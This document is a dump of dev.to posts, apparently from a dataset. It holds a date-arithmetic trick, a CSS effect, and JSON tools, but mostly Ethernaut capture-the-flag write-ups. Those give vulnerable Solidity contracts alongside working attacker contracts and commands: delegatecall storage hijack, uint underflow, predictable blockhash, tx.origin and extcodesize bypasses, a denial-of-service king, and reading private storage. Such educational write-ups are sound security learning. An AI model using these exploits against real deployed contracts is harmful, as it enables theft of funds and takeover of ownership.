teleren/devto huggingface dataset:
How to Get Day of Week from any date
Tags: math
Published: 2022-07-16 14:40:18


## 3 charts to remember

### Week chart

![Week Chart](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/we9aset01wx2odl150ly.png)

### Month chart

![Month Chart](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/cd7jjr2ol2ek8nu3l2n5.png)

### Century chart

![Century Chart](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/9atx0wkr1gy62t7i4293.png)

## The Trick

take any date e.g 15 aug, 2050, now to get the day of week for any date there are two main steps:

- Addition

  - Take the actual date (15 in our case)
  - Take the value of month from Month chart (2 in our case)
  - Take value from century chart (6)
  - Take last 2 values from the year (50)
  - Take whole number from the result of (last 2 values from year) / 4 (12 in our case)

  sum all the numbers: 15 + 2 + 6 + 50 + 12 = 85

- Modulus
  - sum % 7 = 1
  - get value from week chart = Monday

## Exception

- if the year is a leap year and the month is Jan or Feb subtract 1 from the sum in first step

## Reference
[Youtube](https://www.youtube.com/watch?v=87hOITnSl1A)
[Link](https://cs.uwaterloo.ca/~alopez-o/math-faq/node73.html)
Ethernaut: 14. Gatekeeper Two
Tags: solidity, ethereum, openzeppelin, security
Published: 2022-07-16 14:39:08

[Play the level](https://ethernaut.openzeppelin.com/level/0xdCeA38B2ce1768E1F409B6C65344E81F16bEc38d)

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract GatekeeperTwo {
  address public entrant;

  modifier gateOne() {
    require(msg.sender != tx.origin);
    _;
  }

  modifier gateTwo() {
    uint x;
    assembly { x := extcodesize(caller()) }
    require(x == 0);
    _;
  }

  modifier gateThree(bytes8 _gateKey) {
    require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == uint64(0) - 1);
    _;
  }

  function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
    entrant = tx.origin;
    return true;
  }
}
```

Here is another gate puzzle to pass! Again we have three gates:

1. Simple `msg.sender != tx.origin`.
2. A cute `extcodesize` call via inline assembly.
3. A series of `require`'s tells us what the gate key must be like.

## Gate 1

Similar to previous puzzles, just use a contract as a middleman.

## Gate 2

Here is the actual gate:

```solidity
modifier gateTwo() {
  uint x;
  assembly { x := extcodesize(caller()) }
  require(x == 0);
  _;
}
```

The `extcodesize` basically returns the size of the code in the given address, which is caller for this case. Contracts have code, and user accounts do not. To have 0 code size, you must be an account; but wait, how will we pass the first gate if that is the case? Here is the trick of this gate: `extcodesize` returns 0 if it is being called in the `constructor`! Here is a [link](https://ethereum.stackexchange.com/a/15642) to where I stumbled upon this info.

In short, we have to execute our attack from within the constructor.

## Gate 3

This gate has the following form:

```solidity
modifier gateThree(bytes8 _gateKey) {
  require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == uint64(0) - 1);
  _;
}
```

It is just an XOR operation (often denoted with ⊕), and there is really only one parameter we can control here: the gate key. Well, how do we find it? XOR has the property that if the same value XORs itself they cancel out; furthermore, XOR is commutative so `a ⊕ b = b ⊕ a`. Starting with `a ⊕ b = c`, if we XOR both sides with `a` we get `a ⊕ a ⊕ b = c ⊕ a`, and the left side cancels out to give `b = c ⊕ a`.

One more thing: `(uint64(0) - 1)` causes is not really good for Solidity, and even caused gas estimation errors for me! The result is basically the maximum possible value of `uint64`, and we have a cool way to find it via `type(uint64).max`.

We can safely find the gate key as:

```solidity
bytes8 key = bytes8(type(uint64).max ^ uint64(bytes8(keccak256(abi.encodePacked(address(this))))));
```

That is all for this one!
Ethernaut: 11. Elevator
Tags: solidity, ethereum, openzeppelin, security
Published: 2022-07-16 14:32:48

[Play the level](https://ethernaut.openzeppelin.com/level/0xaB4F3F2644060b2D960b0d88F0a42d1D27484687)

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

interface Building {
  function isLastFloor(uint) external returns (bool);
}

contract Elevator {
  bool public top;
  uint public floor;

  function goTo(uint _floor) public {
    Building building = Building(msg.sender);

    if (! building.isLastFloor(_floor)) {
      floor = _floor;
      top = building.isLastFloor(floor);
    }
  }
}
```

In this level, we will write the `Builder` contract which the elevator interacts with. However, in the same transaction we will return opposite boolean results for `isLastFloor` function.

```solidity
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.0;

interface Elevator {
  function goTo(uint _floor) external;    
}

contract Building {
  bool toggleMe = true;
  
  function isLastFloor(uint) external returns (bool) {
    toggleMe = !toggleMe;
    return toggleMe;
  }

  function callElevator(address _elevator) public {
    Elevator(_elevator).goTo(1);
  }

}
```

The problem here is that Elevator did not specify `isLastFloor` to be a `view` function, which would prevent us from modifying the state like this. Another attack approach would be to return different results depending on the input data _without_ modifying state, such as via `gasLeft()`.
Ethernaut: 9. King
Tags: solidity, ethereum, openzeppelin, security
Published: 2022-07-16 14:28:31

[Play the level](https://ethernaut.openzeppelin.com/level/0x43BA674B4fbb8B157b7441C2187bCdD2cdF84FD5)

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract King {

  address payable king;
  uint public prize;
  address payable public owner;

  constructor() public payable {
    owner = msg.sender;  
    king = msg.sender;
    prize = msg.value;
  }

  receive() external payable {
    require(msg.value >= prize || msg.sender == owner);
    king.transfer(msg.value);
    king = msg.sender;
    prize = msg.value;
  }

  function _king() public view returns (address payable) {
    return king;
  }
}
```

The ponzi starts with 0.001 ether. We can exploit the game by giving an greater or equal ether, but via a contract that disallows receiving ether. This way, if someone is eligible to be the new king, the transaction will fail when it tries to send us the prize!

```solidity
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.0;
 
contract OneWayForward {  

  receive () external payable {
    revert("Im the king!");
  }

  fallback () external payable {
    revert("Im the king!");
  }
  
  function forward(address payable _to) public payable {
    (bool sent, ) = _to.call{value: msg.value}("");
    require(sent, "forwarded call failed");
  }

}
```

The contract is simple: a forward function forwards our sent money to some address. The recieving address will know the contract as `msg.sender`, however they won't be able to send money back. Preventing to recieving money can be done by **not** implementing `receive` and `fallback` functions. In my case, I wanted to be a little bit cheeky and I implement them but inside revert with "Im the king!" message when they send me money ;)

**A note on Call vs. Transfer**: We used `_to.call{value: msg.value}("")` instead of `_to.transfer(msg.value)`. This is because `transfer` sends 2300 gas to the receiver, but that gas may not always be enough for the code to run on their side; so we must forward all our gas to them with `call`.
Ethernaut: 8. Vault
Tags: solidity, ethereum, openzeppelin, security
Published: 2022-07-16 14:28:00

[Play the level](https://ethernaut.openzeppelin.com/level/0xf94b476063B6379A3c8b6C836efB8B3e10eDe188)

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Vault {
  bool public locked;
  bytes32 private password;

  constructor(bytes32 _password) public {
    locked = true;
    password = _password;
  }

  function unlock(bytes32 _password) public {
    if (password == _password) {
      locked = false;
    }
  }
}
```

Here we recall the golden rule: everything on the blockchain is there for everyone to see, and it will always be there. As such, we can find out the password that was used in construction of the contract. There are actually two ways to do it:

**Find the password by looking at the contract creation transaction**: The contract creation code is composed of contract ABI encoded and the parameters. Therefore some of the digits we see there at the end are `constructor` arguments. We know that there is only one argument: password (32 bytes). In hexadecimals it is 64 characters, so we can check the final 64 characters of the contract creation code and that is the password. Note that while calling the `unlock` function you should add `0x` at the beginning of the string.

**Find the password by looking at the storage variables**: Looking at the Vault contract, the storage is read from top to bottom. EVM has `2 ^ 256}` slots with a 32-byte value stored in each. At the top, we have `bool public locked` and after that we have `bytes32 private password;`. These variable are at index 0 and 1 in the storage respectively. We can therefore read the password via:

```js
await web3.eth.getStorageAt(contract.address, 1)
```

and simply give the result as the parameter to `contract.unlock(...)`.
On Hover Bottom to center Text Effect Using CSS
Tags: beginners, tutorial, css, html
Published: 2022-07-16 14:27:34

We made this on Hover Bottom to centre Text Effect Using CSS for fun. In this element, we used css3 properties and HTML.

To make bottom to top, we used hover with CSS transform properties. Also, we hide text that we have to show on hover without hover. For hiding, we used the translateX function and margin-top properties. After that, the hover side used the same CSS function, but we increased the property’s size.

Make it yours now by using it, downloading it, and please share it. We will design more elements for you.

[Source Code](https://w3hubs.com/on-hover-bottom-to-center-text-effect-using-css/)
Ethernaut: 7. Force
Tags: solidity, ethereum, openzeppelin, security
Published: 2022-07-16 14:27:20

[Play the level](https://ethernaut.openzeppelin.com/level/0x22699e6AdD7159C3C385bf4d7e1C647ddB3a99ea)

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Force {/*

                   MEOW ?
         /\_/\   /
    ____/ o o \
  /~____  =ø= /
 (______)__m_m)

*/}
```

This contract is supposedly not accepting any payments. Well, it is possible to force money into a contract by `selfdestruct`'ing a contract with some balance, with the target contract address as the parameter. 

We deploy the contract below with some small amount of ether, and then call the `pwn` function to let it `selfdestruct` and transfer all of its balance to the target contract.

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Attacker {
  function pwn(address _target) payable public {
    selfdestruct(payable(_target));
  }
}
```

That is all about this one!
The Most Underrated Tools Every Developer Must Know: Part 3
Tags: programming, womenintech, tooling, tutorial
Published: 2022-07-16 14:27:00

Hi everyone, Hope everything is good at your side. I am writing part 3 of series **"The Most Underrated Tools Every Developer Must Know"**. If you didn't read my previous blogs you can read them [here](https://dev.to/deogadkarravina/the-most-underrated-tools-every-developer-must-know-part-2-209o). Today I am going to discuss about Json validation tools and extensions.

In my last post I have discussed about visual studio code extensions and visual studio trick to convert JSON string to POJO class. Today we are going to look at tools to validate JSON.

JSON string has one single root and all other elements are enclosed within it. JSON string begins and ends with "{}" braces. JSON string has key value pair enclosed within curly braces. String to validate as JSON string needs to follow all above conditions.

Let's look at some tools to validate JSON string.

Online Tools

1. [JSON Validator](https://www.freeformatter.com/json-validator.html)

**What**: This site validates the input string to be valid JSON and it can be easily parse to JavaScript object.
**How**: You can paste input string or upload JSON file and then click on *Validate JSON*. It also provide check box for NaN value, single quotes, no quotes names and leading zero.

![JSON Validator](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ug3tmmnouz8m9kfo1m11.png)

2.[JSON Validate extension](https://marketplace.visualstudio.com/items?itemName=rioj7.vscode-json-validate#:~:text=Validate%20JSON%20when%20part%20of%20other%20files%20as%20strings.&text=Launch%20VS%20Code%20Quick%20Open,following%20command%2C%20and%20press%20enter.&text=Validate%20part(s)%20of%20a,is%20a%20different%20validate%20command.)

**What**: VS code extension used to validate part of JSON file which can also contain comments(//). You can use it for validating JSON in non JSON files. 
**How**: - Select part of file which contains JSON to be validated.
- Select from command palette **Validate JSON** or **Validate JSON with comments**.
- Each selection is parsed and if any error is found warning message will be shown.


![JSON validate extension](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/d86g4ijtkufv1aowscir.png)

That's all for today, Stay tuned for next time when I will discuss tools for creating logos and icons.

Happy Coding!...

<img src="https://media.giphy.com/media/42D3CxaINsAFemFuId/giphy.gif" width=100 />
Ethernaut: 6. Delegation
Tags: solidity, ethereum, openzeppelin, security
Published: 2022-07-16 14:26:27

[Play the level](https://ethernaut.openzeppelin.com/level/0x9451961b7Aea1Df57bc20CC68D72f662241b5493)

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Delegate {
  address public owner;

  constructor(address _owner) public {
    owner = _owner;
  }

  function pwn() public {
    owner = msg.sender;
  }
}

contract Delegation {
  address public owner;
  Delegate delegate;

  constructor(address _delegateAddress) public {
    delegate = Delegate(_delegateAddress);
    owner = msg.sender;
  }

  fallback() external {
    (bool result,) = address(delegate).delegatecall(msg.data);
    if (result) {
      this;
    }
  }
}
```

The `delegatecall` is an important function. Normally, contracts call functions by making [message calls](https://docs.soliditylang.org/en/latest/introduction-to-smart-contracts.html#message-calls). [`delegatecall`](https://docs.soliditylang.org/en/latest/introduction-to-smart-contracts.html#delegatecall-callcode-and-libraries) is a more specialized call, basically forwarding a contract's context to some other contract and let it do whatever it wants with it. This is useful to implement libraries that might work on your storage variables, or have upgradable contracts where a proxy makes delegate calls to various different contracts over time.

During a `delegatecall`, the following do not change:

- `msg.sender`
- `msg.value`
- `address(this)`
- The storage layout (we will exploit this in this challenge)

I would like refer to this article that explains how delegate calls work really well: <https://eip2535diamonds.substack.com/p/understanding-delegatecall-and-how?s=r>.

The attack in this example is just one transaction:

```js
await sendTransaction({
    from: player,
    to: contract.address,
    data: "0xdd365b8b"
})
```

Now let us look at the `data` part: EVM calls functions by looking at the **first 4 bytes of the function signature**. The function signature is `keccak256` (i.e. `sha3`) of the function prototype. In this case, `web3.utils.sha3('pwn()').slice(2, 2 + 4 * 2)` gives us `dd365b8b`. If there were function parameters, we would give them as 32 bytes for each, but in this case there are no parameters so we only write the function signature as data.

When we call Delegation contract with this, it will go to fallback function. There, a delegatecall is made with `msg.data` as the parameter, so it will call `pwn` function of Delegate.

The actual exploit has to do with storage. Notice that both contracts have `address public owner` at their first slot in storage. When you use `delegatecall`, the caller's storage is active and the callee can update it, with respect to the slots. As we see, `pwn` updates `owner` and this in effect updates the caller's storage value at the same slot, which is again the owner address.

The storage variable assignment within `pwn` therefore effects the contract which made `delegatecall`, and we become the owner.
Ethernaut: 5. Token
Tags: solidity, ethereum, openzeppelin, security
Published: 2022-07-16 14:25:31

[Play the level](https://ethernaut.openzeppelin.com/level/0x63bE8347A617476CA461649897238A31835a32CE)

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Token {

  mapping(address => uint) balances;
  uint public totalSupply;

  constructor(uint _initialSupply) public {
    balances[msg.sender] = totalSupply = _initialSupply;
  }

  function transfer(address _to, uint _value) public returns (bool) {
    require(balances[msg.sender] - _value >= 0);
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    return true;
  }

  function balanceOf(address _owner) public view returns (uint balance) {
    return balances[_owner];
  }
}
```

This attack makes use of the integer overflow or integer underflow exploit. In fact, the statement `require(balances[msg.sender] - _value >= 0);` is completely wrong because the calculation is happening on unsigned integers! Of course, they will always be greater than or equal to 0.

We can't exploit the bug by sending money to ourselves, because the two lines will cancel out:

```solidity
balances[msg.sender] -= _value;
balances[_to] += _value;
```

Instead, we can just send some tokens to zero address `0x0000000000000000000000000000000000000000`. We have 20 tokens, so lets send 21 tokens to the zero address:

```js
await contract.transfer(
  "0x0000000000000000000000000000000000000000",
  21
)
```

Once this transaction is mined, we are basically rich in whatever this token is (we have 115792089237316195423570985008687907853269984665640564039457584007913129639935 of it to be exact). No need to worry about the burnt 21 tokens back there :)

If you REALLY worry about burning tokens, just create a contract and transfer there instead!
Ethernaut: 4. Telephone
Tags: solidity, ethereum, openzeppelin, security
Published: 2022-07-16 14:24:59

[Play the level](https://ethernaut.openzeppelin.com/level/0x0b6F6CE4BCfB70525A31454292017F640C10c768)

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Telephone {
  address public owner;

  constructor() public {
    owner = msg.sender;
  }

  function changeOwner(address _owner) public {
    if (tx.origin != msg.sender) {
      owner = _owner;
    }
  }
}
```

The `tx.origin` is the address that creates the transaction, and `msg.sender` is the sender of the current message. As such, `tx.origin == msg.sender` is **true** if message sender is an ethereum account; or **false** if the message sender is a contract. So, we want `tx.origin != msg.sender` to become the owner of the target, we just need to write a contract and call that function.

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Telephone { 
  function changeOwner(address _owner) external;
}

contract Attacker {
  Telephone telephoneTarget;

  constructor(address _target) {
    telephoneTarget = Telephone(_target);
  }

  function pwn() public {
    require(msg.sender == tx.origin, "Who is attacking? :D");
    telephoneTarget.changeOwner(tx.origin);
  }
}
```
Ethernaut: 3. Coinflip
Tags: solidity, ethereum, openzeppelin, security
Published: 2022-07-16 14:24:14

[Play the level](https://ethernaut.openzeppelin.com/level/0x4dF32584890A0026e56f7535d0f2C6486753624f)

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract CoinFlip {

  using SafeMath for uint256;
  uint256 public consecutiveWins;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  constructor() public {
    consecutiveWins = 0;
  }

  function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(blockhash(block.number.sub(1)));

    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = blockValue.div(FACTOR);
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }
}
```

In this attack, we will guess the supposed "random" flips by calling the attack from our contracts. The target contract is programmed to flip a coin on each block, so each guess we make must be on different blocks.

We can simply copy and paste their `flip` function in our contract, and then call their actual `flip` function based on the result. Here is our attacking contract with a `psychicFlip` function that always guesses correctly:

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/math/SafeMath.sol";

// interface for target
interface CoinFlip {
  function flip(bool _guess) external returns (bool);
}

contract Attacker {
  CoinFlip coinflipTarget;
  using SafeMath for uint256; 

  constructor(address _target) {
    coinflipTarget = CoinFlip(_target);
  }

  function psychicFlip() public {
    uint256 blockValue = uint256(blockhash(block.number.sub(1)));
    uint256 coinFlip = blockValue.div(57896044618658097711785492504343953926634992332820282019728792003956564819968);
    bool side = coinFlip == 1 ? true : false;
    
    bool result = coinflipTarget.flip(side);
    require(result, "Could not guess, abort mission.");
  }
}
```

That is pretty much it!
Ethernaut: 2. Fallout
Tags: solidity, ethereum, openzeppelin, security
Published: 2022-07-16 14:23:40

[Play the level](https://ethernaut.openzeppelin.com/level/0x5732B2F88cbd19B6f01E3a96e9f0D90B917281E5)

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Fallout {
  
  using SafeMath for uint256;
  mapping (address => uint) allocations;
  address payable public owner;
 
  /* constructor */
  function Fal1out() public payable {
    owner = msg.sender;
    allocations[owner] = msg.value;
  }

  modifier onlyOwner {
    require(
      msg.sender == owner,
      "caller is not the owner"
    );
    _;
  }

  function allocate() public payable {
    allocations[msg.sender] = allocations[msg.sender].add(msg.value);
  }

  function sendAllocation(address payable allocator) public {
    require(allocations[allocator] > 0);
    allocator.transfer(allocations[allocator]);
  }

  function collectAllocations() public onlyOwner {
    msg.sender.transfer(address(this).balance);
  }

  function allocatorBalance(address allocator) public view returns (uint) {
    return allocations[allocator];
  }
}
```

Prior to the `constructor` function, the constructor was used as the function that has the same name with the contract. However, if by any chance the supposed constructor function has a different name, you are open to attacks! In this case, the name is `Fallout` but the function is written as `Fal1out`.

This actually happened to [Rubixi](https://github.com/crytic/not-so-smart-contracts/tree/master/wrong_constructor_name). The author initially used DynamicPyramid as the contract name, and therefore the constructor. Later, he only changed the contract name to Rubixi and forgot the DynamicPyramid constructor as is, effectively leaving it up for grabs. Someone did grab eventually.